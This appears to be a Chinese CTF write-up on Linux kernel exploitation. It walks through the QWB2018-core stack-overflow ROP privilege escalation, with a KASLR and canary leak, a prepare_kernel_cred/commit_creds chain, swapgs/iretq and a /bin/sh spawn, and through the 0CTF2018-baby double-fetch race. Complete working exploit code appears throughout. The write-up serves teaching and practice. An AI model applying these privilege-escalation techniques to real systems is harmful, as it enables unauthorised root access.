初探内核(二)
kernel rop
以 QWB2018-core 为例
多了 vmlinux ,该文件可以用来寻找 gadget 进行 rop
vmlinux(“vm”代表的“virtual memory”)是一个包括linux kernel的静态链接的可运行文件,编译内核源码得到的最原始的内核文件,未压缩,比较大,是 EF 格式的文件。
先修改 start.sh 中的运行内存为 256m ,不然跑不起来,并且开启了 kaslr ,即内核地址随机化
接下来解压 cpio 文件,然后查看 init
可以看到
cat /proc/kallsyms > /tmp/kallsyms
/proc/kallsyms 是内核提供的一个符号表,包含了动态加载的内核模块的符号,kallsyms 抽取了内核用到的所有函数地址和非栈数据变量地址,生成了一个数据块,作为只读数据链接进 kernel image,使用root权限可以 /proc/kallsyms 查看。
虽然开启了 kalsr,我们在 非 root 权限下也是可以读 /tmp/kallsyms 文件,那么我们就可以得到 kernel_base 了
接下来对 core.ko 进行分析
开启了 Canary 和 NX
接着放入 IDA
init
exit
感觉这两个函数的调用都挺固定的
主要是 core_ioctl 函数
其中 a2 = 0x6677889B 时候调用 core_read 函数
实现了把 v5[off] 从内核空间传输到用户空间 0x40 字节的功能,对 off 没有限制,当 off = 0x40 时候,会将 canary 传输到用户空间,从而泄露出来。
其中 a2 = 0x6677889C 时候对全局变量 off 进行赋值
其中 a2 = 0x6677889D 时候,调用 core_copy_func 函数
鼠标放到 63 时候会发现 a1 的数据类型的 __int64 ,63 的类型是 int ,而且台哦用 qmemcpy 函数将数据从 name 复制 a1 字节到 v2 也就是栈上的时候, a1 也是 unsigned __int16 类型,这样我们就可以实现一个栈溢出漏洞。
再看 ocre_write 函数
可以从用户空间传输 0x800 字节到 内核空间,足够我们写入 rop 了。
接下来要弄清楚内核的 rop 应该要怎么写,我们的目的是为了提权,那么我们需要用到
prepare_kernel_cred 使用指定进程的 real_cred 去构造一个新的 cred 当参数为 0 的时候,会创建一个 root 权限的 cred commit_creds 可以修改当前进程的 cred
当我们调用 prepare_kernel_cred(0) 和 commit_creds() 的时候,就可以修改当前进程的 cred ,从而提权成功了。
要顺利 rop,我们还需要先泄露 kernel_base 和 canary 。
查看 /tmp/kallsyms 可以看到 startup_64 就是 kernel_base
这里我们在 exp.c 中打开该文件,然后循环读每一行,匹配 startup_64 是否子串,如果是将前十六个字节放入另一个字符型变量中,并用 %lx 转换为十六进制数值存放到 kernel_base 中。
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> long kernel_base = 0; void leak_kernel_base(){ FILE * fd = fopen("/tmp/kallsyms", "r"); char buf[40]; while(fgets(buf, 40, fd)){ if(strstr(buf, "startup_64")){ char hem[20]; strncpy(hem, buf, 16); sscanf(hem, "%lx", &kernel_base); printf(" kernel_base -> %lx\n", kernel_base); break; } } } int main(){ leak_kernel_base(); }
然后是泄露 canary,先设置 off = 0x40,然后将 canary 传输到用户空间的变量中,就完成了泄露
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> long kernel_base = 0; long canary[8]; void leak_kernel_base(){ FILE * fd = fopen("/tmp/kallsyms", "r"); char buf[40]; while(fgets(buf, 40, fd)){ if(strstr(buf, "startup_64")){ char hem[20]; strncpy(hem, buf, 16); sscanf(hem, "%lx", &kernel_base); printf(" kernel_base -> 0x%lx\n", kernel_base); break; } } } int main(){ leak_kernel_base(); // leak canary int fd = open("/proc/core", 2); ioctl(fd, 0x6677889C, 0x40); ioctl(fd, 0x6677889B, canary); printf(" canary -> 0x%lx\n", canary[0]); }
效果
接下来就可以进行 rop 了,我们要调用 prepare_kernel_cred(0) 和 commit_creds() 这两个函数,需要先找到这两个函数的偏移。
可以利用 pwntools 模块进行寻找
kenel_base 填入 checksec 检查的 NO PIE 后面的值。
这样我们就找到两个函数的偏移了,我们也就能通过 rop 调用这两个函数了
接下来要解决的是另一个问题,由于我们的栈溢出是在内核态进行的,我们需要执行完栈溢出后返回用户态。
利用
ropper -f ./vmlinux > gadget.txt
来搜索 gadget ,主要是找到这两个
swapgs 用来修改用户态和内核态的gs寄存器
iretq 用来恢复用户态执行上下文
popfq 会进行弹栈,将其放入标志寄存器中
这样就准备充分了,可以开始编写 exp 的栈溢出提权攻击部分。
编写 exp 前先了解 SMEP&SMAP 保护,SMEP 保护可以禁止内核运行用户空间代码,SMAP 保护可以禁止访问用户空间数据。
这道题目两个保护是都没有开启的,所有我们可以直接在 exp 中利用 asm 编写提权代码,然后在内核中栈溢出执行。
void get_root(){ __asm__( "mov rdi, 0;" "mov rax, kernel_base;" "add rax, 0x9cce0;" "call rax;" "mov rdi, rax;" "mov rax, kernel_base;" "add rax, 0x9c8e0;" "call rax;" ); } void backdoor(){ system("/bin/sh"); }
在 exp.c 中添加上面两个自定义函数
在存在栈溢出漏洞的这个函数中
可以知道 v2 距离 rbp 为 0x50,距离 canary 为 0x40,因此我们在申请一个 long 类型的数组,一个数组元素占八个字节,因此在 [8] 中存放 canary,在 [10] 存在 get_root 函数的地址。
接着还需要了解从内核态返回用户态的时候,即利用 rop 执行 swapgs 然后执行 iretq 后,会利用 iretq 指令后面的栈数据来重置部分寄存器的值。
iretq
rip
cs
flag
rsp
s
因此我们要先保存好这些寄存器的值,好在返回用户态的时候不出差错,利用在用户空间中编写的自定义函数即可实现
long user_cs, user_ss, user_rsp, user_flag; void save_status(){ __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_rsp, rsp;" "pushf;" "pop user_flag;" ); }
然后是编写栈溢出的攻击数据,定义一个 long 类型的数组,在其中赋值。
最终 exp
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> long kernel_base = 0; long canary[8]; void leak_kernel_base(){ FILE * fd = fopen("/tmp/kallsyms", "r"); char buf[40]; while(fgets(buf, 40, fd)){ if(strstr(buf, "startup_64")){ char hem[20]; strncpy(hem, buf, 16); sscanf(hem, "%lx", &kernel_base); printf(" kernel_base -> 0x%lx\n", kernel_base); break; } } } void get_root(){ __asm__( "mov rdi, 0;" "mov rax, kernel_base;" "add rax, 0x9cce0;" "call rax;" "mov rdi, rax;" "mov rax, kernel_base;" "add rax, 0x9c8e0;" "call rax;" ); } void backdoor(){ system("/bin/sh"); } long user_cs, user_ss, user_rsp, user_flag; void save_status(){ __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_rsp, rsp;" "pushf;" "pop user_flag;" ); } int main(){ leak_kernel_base(); //Leak canary int fd = open("/proc/core", 2); ioctl(fd, 0x6677889C, 0x40); ioctl(fd, 0x6677889B, canary); printf(" canary -> 0x%lx\n", canary[0]); // save_status save_status(); // stack oevrflow long ROP[20]; ROP[8] = canary[0]; ROP[10] = (long)get_root; ROP[11] = kernel_base + 0xa012da; // swapgs ROP[13] = kernel_base + 0x50ac2; // iretq ROP[14] = (long)backdoor; ROP[15] = user_cs; ROP[16] = user_flag; ROP[17] = user_rsp; ROP[18] = user_ss; write(fd, ROP, sizeof(ROP)); puts("[+]success!"); ioctl(fd, 0x6677889A, 0xffffffff00000000 + sizeof(ROP)); }
最后编译的时候要注意
gcc exp.c -static -o exp -masm=intel
攻击效果
为了加深理解,我们动调调试看看
将断点打到 core_copy_func 这里,然后 s 步进
可以看到此时的 rsi 指向了 name, rdi 指向了内核中拿到栈,利用 rep_movsb 指令从 name 复制数据到 内核的栈中,重复 0xa0 次(见 rcx 寄存器)
name 放着我们写好的 rop 链
步进到 ret 指令
可以看到将要执行我们在用户空间中编写 get_root 函数
然后是两个返回用户态的指令 swapgs 和 iretq
接着执行 backdoor 函数,最后提权成功
如果开启了 smep 保护呢,不能够直接执行用户态代码,我们接下来参试这种做法
在 start.sh 添加这一行 -cpu kvm64,+smep \ ,并且由于 smep 保护开启后会自动启动 KTPI ,要关闭掉 KTPI,在 -append 参数中添加 nopti
qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw nopti console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ -cpu kvm64,+smep \
在这种情况下,由于在内核态中只有执行了用户态的 get_root 函数,因此我们修改下 get_root 函数即可。
例如
void get_root() { char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); /* puts("[*] root now."); */ }
kernle double fetch
以 0CTF2018-baby 为例
可以看到启动脚本 cores =2 ,那么就可以用多线程
在 init 中发现 模块文件是 baby.ko ,挂载设备名是 /dev/baby
接下来是分析驱动模块
接着放入 IDA 分析
唯一有用的是这个函数
当命令为 0x6666 的时候,会将内核空间中的 flag 地址打印出来
当命令为 0x1337 的时候,会检测传入的结构体指针是否是用户态地址,其结构体包含的 flag,addr 指针是否存在用户态中,flag.len 是否与内核中 flag 长度相等
那么就是多线程竞争了,绕过 if 后用其它线程修改结构体中 flag.addr ,那么就能打印出内核中的 flag 了
不过要注意一点,在内核中的数据不会直接打印在屏幕中,需要用 dmesg 命令查看。
虽然这题知道原理,算是比较简单,但是 exp 就不会编写了,只能看下 wp 是怎么写的
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> #include <pthread.h> long kernel_flag; void leak_flag(int fd){ ioctl(fd, 0x6666, 1); system("dmesg | tail > 1.txt"); FILE * fd1 = fopen("1.txt", "r"); char buf[70]; char hex[20]; while(fgets(buf, 65, fd1)){ if(strstr(buf, "Your flag is at")){ strncpy(hex, buf + 31, 16); sscanf(hex, "%lx", &kernel_flag); printf(" flag -> %lx\n", kernel_flag); break; } } fclose(fd1); } struct flag_struct{ long addr; long len; }; char fake_flag[] = "fake"; int finish = 0; void change_flag(struct flag_struct *s){ while(!finish){ s -> addr = kernel_flag; } } int main(){ int fd = open("/dev/baby", 2); leak_flag(fd); struct flag_struct flag; flag.addr = (long)fake_flag; flag.len = 33; pthread_t p1; pthread_create(&p1, NULL, change_flag, &flag); for(int i = 0; i <= 10000; i++){ ioctl(fd, 0x1337, &flag); flag.addr = (long)fake_flag; } finish = 1; system("dmesg | grep flag"); close(fd); }
编译时候需要加入 pthread.h 文件头,命令需要加 -lpthread 参数
gcc exp.c -static -o exp -lpthread
攻击效果